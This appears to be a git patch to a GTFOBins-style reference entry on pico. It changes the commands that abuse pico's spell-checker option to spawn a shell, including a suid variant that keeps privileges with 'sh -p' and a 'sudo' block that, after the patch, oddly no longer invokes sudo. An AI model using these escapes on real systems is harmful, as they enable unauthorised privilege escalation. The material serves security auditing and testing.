From 75eff93c5026bdf6c7e5d3585d90fb6c05735b53 Mon Sep 17 00:00:00 2001 From: Emilio Date: Sun, 31 Mar 2019 12:19:11 +0100 Subject: [PATCH] Improve pico shell, suid, and sudo --- _gtfobins/pico.md | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/_gtfobins/pico.md b/_gtfobins/pico.md index 479567c..914ad36 100644 --- a/_gtfobins/pico.md +++ b/_gtfobins/pico.md @@ -2,10 +2,8 @@ functions: shell: - code: | - TF=$(mktemp) - echo 'exec sh' > $TF - chmod +x $TF - pico -s $TF /etc/hosts + pico -s /bin/sh + /bin/sh ^T file-write: - code: | @@ -17,15 +15,14 @@ functions: suid: - code: | TF=$(mktemp) - echo 'exec sh -p' > $TF + echo '#!/bin/sh -p + exec sh -p' > $TF chmod +x $TF ./pico -s $TF /etc/hosts ^T sudo: - code: | - TF=$(mktemp) - echo 'exec sh' > $TF - chmod +x $TF - sudo pico -s $TF /etc/hosts + pico -s /bin/sh + /bin/sh ^T ---